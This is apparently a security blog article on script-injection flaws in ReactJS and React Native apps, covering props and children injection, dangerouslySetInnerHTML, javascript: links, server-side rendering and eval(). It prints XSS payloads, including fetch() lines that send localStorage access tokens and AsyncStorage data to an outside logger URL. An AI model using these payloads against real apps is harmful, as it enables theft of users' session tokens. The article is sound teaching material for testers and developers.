Exploiting script injection flaws in ReactJS apps
ReactJS is a popular JavaScript library for building user interfaces. It enables client-rendered, “rich” web apps that load entirely upfront, allowing for a smoother user experience.
Given that React apps implement a whole lot of client-side logic in JavaScript, it doesn’t seem far-fetched to assume that XSS-type attacks could be worthwhile.
As it turns out, ReactJS is quite safe by design as long as it is used the way it’s meant to be used. For example, string variables in views are escaped automatically. However, as with all good things in life, it’s not impossible to mess things up. Script injection issues can result from bad programming practices including the following:
- Creating React components from user-supplied objects;
- Rendering links with user-supplied
href
attributes, or other HTML tags with injectable attributes (link
tag, HMTL5 imports); - Explicitly setting the
dangerouslySetInnerHTML
prop of an element; - Passing user-supplied strings to
eval()
.
In a world ruled by Murphy’s law, all of this is guaranteed to happen, so let’s have a closer look.
Components, Props and Elements
Components are the basic building block of ReactJS. Conceptually, they are like JavaScript functions. They accept arbitrary inputs (“props”) and return React elements describing what should appear on the screen. A basic component looks as follows:
class Welcome extends React.Component { render() { return <h1>Hello, {this.props.name}</h1>; }}
Note the weird syntax in the return
statement: This is JSX, a syntax extension to JavaScript. During the build process, the JSX code is transpiled to regular JavaScript (ES5) code. The following two examples are equivalent:
// JSXconst element = (
<h1 className=”greeting”>
Hello, world!
</h1>
);// Transpiled to createElement() callconst element = React.createElement(
‘h1’,
{className: ‘greeting’},
‘Hello, world!’
);
New React elements are created from component classes using the createElement()
function:
React.createElement(
type,
[props],
[...children]
)
This function takes three arguments:
type
can be either a tag name string (such as'div'
or'span'
), or a component class. In React Native, only component classes are allowed.props
contains a list of attributes passed to the new element.children
contains the child node(s) of the new element (which, in turn, are more React components).
Several attack vectors exist if you can control any of those arguments.
Injecting Child Nodes
In March 2015, Daniel LeCheminant reported a stored cross-site scripting vulnerability in HackerOne. The issue was caused by the HackerOne web app passing an arbitrary, user-supplied object as the children
argument to React.createElement()
. Presumably, the vulnerable code must have looked somewhat like the following:
/* Retrieve a user-supplied, stored value from the server and parsed it as JSON for whatever reason. attacker_supplied_value = JSON.parse(some_user_input)
*/render() {
return <span>{attacker_supplied_value}</span>;
}
This JSX would translate to the following JavaScript:
React.createElement("span", null, attacker_supplied_value};
When attacker_supplied_value
was a string as expected, this would produce a regular span
element. However, the createElement()
function in the then-current version of ReactJS would also accept plain objects passed as children
. Daniel exploited the issue by supplying a JSON-encoded object. He included the dangerouslySetInnerHTML
prop, allowing him to insert raw HTML into the output rendered by React. His final proof-of-concept looked as follows:
{
_isReactElement: true,
_store: {},
type: "body",
props: {
dangerouslySetInnerHTML: {
__html:
"<h1>Arbitrary HTML</h1>
<script>alert(‘No CSP Support :(')</script>
<a href='http://danlec.com'>link</a>"
}
}
}
Following Daniel’s blog post, potential mitigations were discussed on the React.js GitHub. In November 2015, Sebastian Markbåge commited a fix: React elements were now tagged with the attribute $$typeof: Symbol.for('react.element').
Because there is no way to reference a global JavaScript symbol from an injected object, Daniel’s technique of injecting child elements can’t be used anymore.
Controlling Element Type
Even though plain objects no longer work as ReactJS elements, component injection still isn’t completely impossible, because createElement
also accepts strings in the type
argument. Suppose a developer did something like this:
// Dynamically create an element from a string stored in the backend.element_name = stored_value;React.createElement(element_name, null);
If stored_value
was an attacker-controlled string, it would be possible to create an arbitrary React component. However, this would result only in a plain, attribute-less HTML element (i.e. pretty useless to the attacker). To do something useful, one must be able to control the properties of the newly created element.
Injecting Props
Consider the following code:
// Parse attacker-supplied JSON for some reason and pass
// the resulting object as props.
// Don't do this at home unless you are a trained expert!attacker_props = JSON.parse(stored_value)React.createElement("span", attacker_props};
Here, we can inject arbitrary props into the new element. We could use the following payload to set the dangerouslySetInnerHTML
property:
{"dangerouslySetInnerHTML" : { "__html": "<img src=x/ onerror=’alert(localStorage.access_token)’>"}}
Classical XSS
Some traditional XSS vectors are also viable in ReactJS apps. Look out for the following anti-patterns:
Explicitly Setting dangerouslySetInnerHTML
Developers may choose to set the dangerouslySetInnerHTML
prop on purpose.
<div dangerouslySetInnerHTML={user_supplied} />
Obviously, if you control the value of that prop, you can insert any JavaScript your heart desires.
Injectable Attributes
If you control the href
attribute of a dynamically generated a
tag, there’s nothing to prevent you from injection a javascript:
URL. Some other attributes such as formaction
in HTML5 buttons also work in modern browser.
<a href={userinput}>Link</a><button form="name" formaction={userinput}>
Another exotic injection vector that works in modern browsers are HTML5 imports:
<link rel="import" href={user_supplied}>
Server-Side Rendered HTML
To improve initial page load times, there has lately been a trend towards pre-rendering React.JS pages on the server (“server-side rendering”). In November 2016, Emilia Smith pointed out that the official Redux code sample for SSR resulted in a cross-site scripting vulnerability, because the client state was concatenated into the pre-rendered page without escaping (the sample code has since been fixed).
The take-away: If HTML is pre-rendered on the server-side, you might see the same types of XSS issues found in “regular” web apps.
Eval-based injection
If you can control a string that is dynamically evaluated, you have hit the jackpot and may proceed to inject arbitrary code of your choosing. This should be a rare occurrence.
function antiPattern() {
eval(this.state.attacker_supplied);
}// Or even crazierfn = new Function("..." + attacker_supplied + "...");
fn();
XSS Payload
In the modern world, session cookies are as outdated as manual typewriters and McGyver-style mullets. The agile developer of today uses stateless session tokens, elegantly saved in client-side local storage. Consequently, hackers must adapt their payloads accordingly.
When exploiting an XSS attack a ReactJS web app, you could inject something along the following lines to retrieve an access token from local storage and sent it to your logger:
fetch(‘http://example.com/logger.php?token='+localStorage.access_token);
How About React Native?
React Native is a mobile app framework that allows you to build native mobile applications using ReactJS. More specifically, it provides you with a runtime that can run React JavaScript bundles on mobile devices.
In true Inception style, you can “port” a React Native App to work in regular web browsers using React Native for Web (web app in a mobile app in a web app). This means that you build apps for Android, iOS and Desktop browsers from a single code base.
From what I’ve seen so far, most of the script injection vectors listed above don’t work in React Native:
- React Native’s
createInternalComponent
method only accepts tagged component classes, so even if you fully control the arguments tocreateElement()
you can’t create arbitrary elements; - HTML elements don’t exist, and HTML isn’t parsed, so typical browser-based XSS vectors (e.g.
href
) can’t be used.
Only the eval()
based variant seems to be exploitable on mobile devices. If you do get JavaScript code injected through eval()
, you can access React Native APIs and do interesting things. For example, you could steal all the data from local storage (AsyncStorage
) by doing something like:
_reactNative.AsyncStorage.getAllKeys(function(err,result){_reactNative.AsyncStorage.multiGet(result,function(err,result){fetch(‘http://example.com/logger.php?token='+JSON.stringify(result));});});
TL;DR
Even though ReactJS is quite safe by design, it’s not impossible to mess things up. Bad programming practices can lead to exploitable security vulnerabilities.
- Security Testers: Inject JavaScript and JSON wherever you can and see what happens.
- Developers: Don’t ever use
eval()
ordangerouslySetInnerHTML
. Avoid parsing user-supplied JSON.